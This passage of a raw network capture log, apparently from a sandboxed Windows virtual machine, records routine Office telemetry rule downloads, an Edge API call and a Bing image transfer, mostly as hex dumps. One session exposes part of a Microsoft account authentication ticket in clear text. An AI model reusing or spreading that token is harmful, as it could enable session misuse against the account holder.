encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:31 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:31 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 3c6e4b4f-901e-005b-7308-3d2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015531Z-178bfbc474bfw4gbhC1NYCunf400000003sg00000000g4u1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 01:55:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49796	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:31 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4f 6e 58 53 47 33 39 6d 45 55 79 2f 35 50 62 4e 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 31 32 37 36 63 64 38 62 36 36 32 31 61 61 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: OnXSG39mEUy/5PbN.1Context: c1276cd8b6621aac
2024-11-23 01:55:31 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-23 01:55:31 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4f 6e 58 53 47 33 39 6d 45 55 79 2f 35 50 62 4e 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 31 32 37 36 63 64 38 62 36 36 32 31 61 61 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 37 76 61 74 57 6f 77 4a 61 51 30 45 61 52 53 5a 50 50 6e 62 55 74 6d 41 67 4d 4c 50 2b 4e 61 72 56 31 6e 32 4d 39 36 44 71 7a 34 4d 33 67 53 44 30 59 2b 39 38 79 54 41 6a 55 6c 71 59 76 73 45 6c 44 7a 66 43 50 76 35 69 37 73 58 34 32 43 63 36 4c 74 37 41 6f 70 6b 5a 47 6f 30 6b 73 42 64 63 6c 61 62 6f 56 48 4e 62 53 51 57 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: OnXSG39mEUy/5PbN.2Context: c1276cd8b6621aac<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAS7vatWowJaQ0EaRSZPPnbUtmAgMLP+NarV1n2M96Dqz4M3gSD0Y+98yTAjUlqYvsElDzfCPv5i7sX42Cc6Lt7AopkZGo0ksBdclaboVHNbSQW
2024-11-23 01:55:31 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 4f 6e 58 53 47 33 39 6d 45 55 79 2f 35 50 62 4e 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 31 32 37 36 63 64 38 62 36 36 32 31 61 61 63 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: OnXSG39mEUy/5PbN.3Context: c1276cd8b6621aac
2024-11-23 01:55:32 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-23 01:55:32 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6d 73 46 47 48 41 54 61 6a 55 61 68 68 47 73 53 6c 36 4a 55 4c 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: msFGHATajUahhGsSl6JULQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:32 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:32 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: d83ea369-501e-000a-040c-3d0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015532Z-178bfbc474bv587zhC1NYCny5w00000003m000000000nea0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:32 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:32 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:32 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 4b4d3db7-601e-003d-0147-3c6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015532Z-178bfbc474bh5zbqhC1NYCkdug00000003rg00000000avs9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:32 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	49805	94.245.104.56	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:33 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 01:55:33 UTC	725	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Sat, 23 Nov 2024 01:55:33 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=19020555a6ce13e7884acd0cd2d8a32f62deb6e74d19a876d58f79edefb7bfc8;Path=/;HttpOnly;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinity=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	49790	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:33 UTC	375	OUT	GET /th?id=OADD2.10239401309282_1PNNGZBU9L4ID4Q55&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 01:55:33 UTC	855	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 1238029 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 779CB663D53D4A369431A674CFDE299F Ref B: EWR30EDGE1419 Ref C: 2024-11-23T01:55:33Z Date: Sat, 23 Nov 2024 01:55:32 GMT Connection: close
2024-11-23 01:55:33 UTC	15529	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 04 04 04 04 05 09 06 05 05 05 05 0b 08 08 06 09 0d 0b 0d 0d 0d 0b 0c 0c 0e 10 14 11 0e 0f 13 0f 0c 0c 12 18 12 13 15 16 17 17 17 0e 11 19 1b 19 16 1a 14 16 17 16 ff db 00 43 01 04 04 04 05 05 05 0a 06 06 0a 16 0f 0c 0f 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFCC8"}!1AQa"q2
2024-11-23 01:55:34 UTC	16384	IN	Data Raw: b3 0c cb 1d 28 d5 ad 09 61 df c5 ef 2e 68 e9 d2 d7 b4 af d2 d6 b2 5b 1c 5e 9f e3 bd 56 da c6 e3 45 b6 79 04 fe 72 e1 95 77 49 36 0e 02 91 dc 8f c7 f4 a8 fe 27 78 8e 6d 57 92 64 ba bc f2 63 8c 3e fd f2 37 6d 87 18 ce 48 1c 01 c5 41 e2 2b 98 21 f8 99 ff 00 09 6e 83 e2 0d 3e fe ea 0b b5 ba f3 a2 d3 da 08 9a 6c e7 3e 53 fd e1 cf 4e 95 da f8 fb 5a f0 4e a7 6f a6 78 8b c2 76 03 4f f1 52 2a 09 ad ed ad f3 1c 0c 39 69 88 3f 2b 3b 64 e0 76 af 66 54 e8 d1 ad 4e a4 29 6a fa eb a3 d3 7e a9 79 db e5 b1 ec 52 c1 d2 72 9a 8c 94 79 6f cb e6 9b d6 c9 36 b9 bc 8c 8d 33 c0 d2 d8 58 4f 79 e2 bb c8 2c f5 4d 52 d1 51 6d 1e 20 36 79 9c 2a 1c f0 a3 6e 32 7a 8a e4 ae 51 34 6d 4e e3 c3 7a b6 b3 1b 59 d9 7f c7 b4 d1 1f 32 39 46 79 00 8e 09 19 3c f7 af 42 bf 9f c2 8f e2 7b 9d 56 d3 Data Ascii: (a.h[^VEyrwI6'xmWdc>7mHA+!n>l>SNZNoxvOR9i?+;dvfTN)j~yRryo63XOy,MRQm 6yn2zQ4mNzY29Fy<B{V
2024-11-23 01:55:34 UTC	16384	IN	Data Raw: f3 c5 37 7a 54 b7 77 72 e9 32 42 d1 ac b3 8f 32 5b 86 c0 e1 a4 3d 17 23 8f 4c 56 9f 86 7c 4d e2 2f 15 6b 8d a5 6b ef 7d aa ea 56 1a 78 b3 d1 24 b5 3e 5c 9b 10 62 32 30 3e 6d a0 9d c3 a9 1f 4a e3 c6 e4 eb 11 18 55 8d e1 cb 1d 55 de dd 37 ed d7 5d 12 47 d0 e5 96 a1 ec f0 b4 12 4a 2e cb 7d 1d 92 7e a9 a5 be f7 17 c6 da 3b f8 a3 e2 56 9b 1d 8d a4 cd a7 cb 71 f6 28 16 d8 21 29 e5 f5 0a 83 a7 23 3c f5 15 e7 7e 39 d3 75 11 e3 2d 5e 2d 96 cd 2d a4 9e 5b 32 40 b0 ae 3a 0f 94 70 ad 5e c5 e1 0f 85 fa fd e7 86 6f 35 73 aa 5b 5b dd e9 ae c3 cb 8a 56 86 46 23 a8 f5 63 cf 04 60 f5 ae 5b 42 f0 5a 3e 81 ae de f8 a7 55 ba b1 9b ed 0c b0 ca b6 ad 3b 33 44 7f 88 7f 1e fc e0 1c f1 d4 d7 af 85 cc 28 d2 6e 31 9a 6a 36 8d ad ad db df ee dc e8 cf 29 4a 95 1e 69 d3 71 94 9d ef 7f Data Ascii: 7zTwr2B2[=#LV\|M/kk}Vx$>\b20>mJUU7]GJ.}~;Vq(!)#<~9u-^--[2@:p^o5s[[VF#c`[BZ>U;3D(n1j6)Jiq
2024-11-23 01:55:34 UTC	16384	IN	Data Raw: 6e 9c ca 26 23 0e aa 3f de 19 cf b8 a7 fc 4e f8 77 ad 5d 6a 2c 07 8f 2d 74 65 86 64 9a 38 b5 ab ec 29 04 71 23 76 0c 48 ae 53 4d d3 7c 57 e1 5b 78 fc 7b e1 1b 1b 0f b3 5b 43 e5 de 4e 6f 3e d3 e7 a9 38 f3 1c 75 05 73 d3 d2 ae 6a fe 2e bd f0 c6 b3 6d a9 ea 3a 26 8f e2 ab cb f5 fb 4d b6 af 7b 6c c6 39 97 3c 18 f3 c7 96 0f 18 c0 c1 15 cd 1c 3d 68 57 52 c3 4e f1 b5 92 76 6d 35 ba d7 45 df 56 de be 4c ef e7 50 c3 4a 38 cb b5 a3 bb 6f 55 b2 7d df 9d 96 fb ee af d3 e9 33 25 96 9c ba 76 a7 6c 75 af 16 69 32 34 df 68 25 63 b1 8a 22 38 99 1f 03 77 6e 0f 3c d7 31 e3 2f 8b 7f 10 ee ed 45 ed 86 85 67 06 9d 67 17 d9 a7 31 db 6e 8a 71 9e 1d b3 d5 f8 fb c3 9c 7a d5 cf 01 a7 8f 3e 27 78 f5 af ee b4 3b ed 69 b5 49 56 1f f4 5f dc db 36 39 db 23 ff 00 0c 6a 01 cf b0 ad 8d 7f Data Ascii: n&#?Nw]j,-ted8)q#vHSM\|W[x{[CNo>8usj.m:&M{l9<=hWRNvm5EVLPJ8oU}3%vlui24h%c"8wn<1/Egg1nqz>'x;iIV_69#j
2024-11-23 01:55:34 UTC	16384	IN	Data Raw: e3 0c 0d 7b 07 c3 3f 04 78 83 c2 50 43 73 a8 78 5a d2 f3 ec e3 66 2d 5b 37 30 af 5d c4 1e dc 8e 46 4d 37 c3 da 4f 8d 7c 1d e3 8d 2e e7 e2 0e 9a ed 37 83 34 e9 d6 c2 cb 51 b8 2d 79 ab 46 cd 98 a0 0e 9b f2 ca ac 08 ec 06 47 1c 55 3f 8a 1f 1a 35 32 a2 ef ec 51 db 48 25 dd 1c 56 8c 57 ca 2c 32 b1 29 3f 36 c1 e8 7b e6 bc cc 7d 6c 76 32 a7 b0 82 52 8b df 5d 9e d6 f4 eb af 57 6e 87 af 84 ab 97 d1 82 6e 95 e4 92 be f6 d5 27 d7 7d ed f7 33 a5 d5 7c 4b 61 16 b8 ad 17 f6 64 77 cd 23 47 2c 7a ac 9b e1 db d5 bc 8d c3 26 41 91 cb 60 02 3b d3 fe 3a bf 87 ec ad 74 9d 72 5f 0f ea 17 92 d9 12 97 71 5c 32 85 68 82 fc ae a7 23 05 77 7d e1 ce 1b da bc aa c7 c5 3e 36 f1 a9 b8 bb d5 44 62 c6 c5 d4 35 95 ad 92 ef 1b b9 2a 1c a9 25 f1 ce 7d 68 f8 95 a1 78 d6 e7 c3 e9 a9 4f a0 ea Data Ascii: {?xPCsxZf-[70]FM7O\|.74Q-yFGU?52QH%VW,2)?6{}lv2R]Wnn'}3\|Kadw#G,z&A`;:tr_q\2h#w}>6Db5*%}hxO
2024-11-23 01:55:34 UTC	16384	IN	Data Raw: 2c 12 4b 47 c8 f9 8f 53 51 52 a3 fa b2 5b b5 ad f5 5b bb 74 d3 d7 a6 da df 43 c7 c4 65 d5 ab e6 5e db 9d 7c 32 4f 5e 9b e8 93 4b 6d 5b df ae c7 27 6b a6 6a ba 07 81 6f bc 3d ae eb 16 f1 58 b4 7f f1 2e 68 d7 cb 92 c8 1e 1b e4 20 64 11 9f 9f b1 26 b8 4f 1a 6a ba 46 af e2 6d 21 35 1b 6d 57 c5 70 d9 ef b4 b4 d2 e3 d5 81 56 8f 03 6e 30 a5 e3 53 c1 24 0c b6 3f 1a ec 7e 35 eb be 1b d6 2e 66 b0 4d 57 58 bd b8 b1 7f 22 f2 ee 43 b6 d6 3b 8c 02 a1 63 ff 00 96 a0 e1 86 d1 b8 90 7a 8c 0c f8 ef 8d a4 bd b0 d7 a2 16 3a 74 56 6f 3a 83 04 16 92 6e 91 0b 10 a3 24 72 0f e4 6b a7 03 87 9c 6b 36 e5 ab d7 a2 5b 2e cf fa f9 a6 fb 69 54 4b 0f ec e3 a4 21 b3 b7 c9 b4 df f5 73 8e f8 d7 f0 a6 2b 6b 37 d6 fc 31 a7 5d 41 25 b8 67 d5 6c 5c af 97 09 cf 48 71 c9 20 11 95 e4 8c 57 8d 2b Data Ascii: ,KGSQR[[tCe^\|2O^Km['kjo=X.h d&OjFm!5mWpVn0S$?~5.fMWX"C;cz:tVo:n$rkk6[.iTK!s+k71]A%gl\Hq W+
2024-11-23 01:55:34 UTC	16384	IN	Data Raw: 7d 4d ab af 10 cf 61 b6 d5 6d 95 93 1c 29 6d d8 1e 95 7b 4f f1 af 89 5e cf fb 3a 1b 97 8e cd 5b 72 c4 a7 6a 83 ef eb 5c ad c4 9e 7d cb 48 40 ce 3e 72 3b 7b 7d 2a dd ba dd 18 7c f5 1e 5c 31 f2 58 9e fe fe f4 e5 42 93 8a bc 55 fc c9 58 9a 92 9b b4 9f 2f e8 74 be 20 be d4 5e 35 8b 50 d4 45 c2 c6 de 68 8d 1b e4 e7 9c 8f f3 9a d2 d2 f5 4f 11 6a 91 c5 a7 db d8 fc ac bf bb 55 8f 0a 14 77 cf 61 d7 9e f5 c9 24 88 0a dc cb 13 48 33 9d a7 a3 7f f5 ab b1 f0 97 87 be 25 7c 4b b8 d4 b5 5f 0c e9 2d 77 a6 e8 eb 1f db 6c ac 64 11 b6 c3 c0 09 1f 05 c1 ef eb cd 71 57 a3 15 15 a2 49 75 7d 1f 92 35 ad 8b 85 37 16 e5 6e 89 f9 bf b8 cb d3 b4 af 14 eb fe 35 5f 0e e9 16 4d 73 79 31 05 4d bb 19 17 9e db c0 c2 fd 78 00 d7 b6 e9 3f 02 b5 9b ad 12 3d 2b c6 1e 29 d5 2d 9e d6 71 b1 2c Data Ascii: }Mam)m{O^:[rj\}H@>r;{}*\|\1XBUX/t ^5PEhOjUwa$H3%\|K_-wldqWIu}57n5_Msy1Mx?=+)-q,
2024-11-23 01:55:34 UTC	16067	IN	Data Raw: d1 13 6a b6 6d 8b 7b 78 49 c9 40 0e 36 80 00 c0 ee 09 af 25 f1 87 c3 bd 73 48 d0 af b5 6b cb 79 31 63 20 fb 41 54 39 19 6d a5 d7 23 e6 40 4f 2d d0 66 ae 18 da 55 a4 9c bd d6 f4 8a be b6 7e 9d ff 00 af 3f 63 ea 3e c2 93 51 49 ce de f5 ff 00 4b b6 de 87 9f ea 1a 0d de 9f 25 ab dd c9 23 2d f4 5e 64 4c 17 1b 7e 62 14 9c f6 38 fc aa 5d 17 48 bb 3a db 69 86 e2 dc b3 9f be ed b5 5b f1 3f ca bd 57 c5 9f 05 3c 71 2f 86 2d af 6c 25 93 5d 75 55 17 10 5a ae e3 69 c6 55 49 e9 8c 11 5c 4d 87 84 34 4d 47 c2 cb 75 07 8b 56 1d 55 99 92 e2 c6 ee 1f 2d c4 80 e3 cb 8b bb e3 1c bf 03 91 ee 6b a2 38 fa 73 a5 77 51 5f 6d 13 76 ed fd 75 3c 2a 98 55 87 ab 15 35 ab f3 fc 0e 83 c6 de 15 f0 ac 1a 05 9b a6 a4 f7 37 11 90 2e ad 24 8f ca 74 e3 9c 30 e1 d4 f6 3d 47 7a f3 39 fc 98 26 92 Data Ascii: jm{xI@6%sHky1c AT9m#@O-fU~?c>QIK%#-^dL~b8]H:i[?W<q/-l%]uUZiUI\M4MGuVU-k8swQ_mvu<*U57.$t0=Gz9&
2024-11-23 01:55:34 UTC	16384	IN	Data Raw: d2 60 10 cd ad 08 6e db 4e 84 62 38 d9 72 22 63 8f e2 3d cf 76 cf b5 7c f7 fb 31 78 6b 49 f1 4f c3 e9 3c 6d ac e9 b3 5c dd 49 e2 46 d3 ac e3 f3 3c b8 30 f1 e1 46 7e f1 0a ee a7 d3 38 eb 8a fb 0a cf e1 52 68 fa 03 58 69 1a ad e6 9b 34 f1 2c 2d 0c 77 05 a3 7e 3e f3 86 e5 70 73 c8 af 0f 31 a5 88 cc b1 b3 84 53 6a 0a d2 4b 44 ba da ff 00 d3 fc 0e dc 3d 5a 58 3c 3c 55 39 ab 4d f5 5b af 97 6d 3f e0 6a 72 be 1e d2 d6 e7 e0 ce a8 ba fc 90 d9 7d a2 ea 79 a6 b9 bd ba f2 d2 e0 2c 85 50 73 d5 76 27 4e db ab c2 0f c2 2f 0d 5e 4d 6d e3 7f 86 fe 2d d6 13 5e 56 7d d6 51 41 c8 9b b7 95 81 93 1f 1d 5b 82 2b e9 2f 83 3e 1f b2 93 c2 6d 6f e2 5b 65 d5 ef f4 ab e9 ed e1 f3 17 75 a4 71 07 e2 44 46 c8 03 9c 0c f3 9e 3d eb 4f e2 06 b1 a7 e9 3a 1a da f8 2a ca ce 4d 7b c4 11 b2 40 Data Ascii: `nNb8r"c=v\|1xkIO<m\IF<0F~8RhXi4,-w~>ps1SjKD=ZX<<U9M[m?jr}y,Psv'N/^Mm-^V}QA[+/>mo[euqDF=O:*M{@
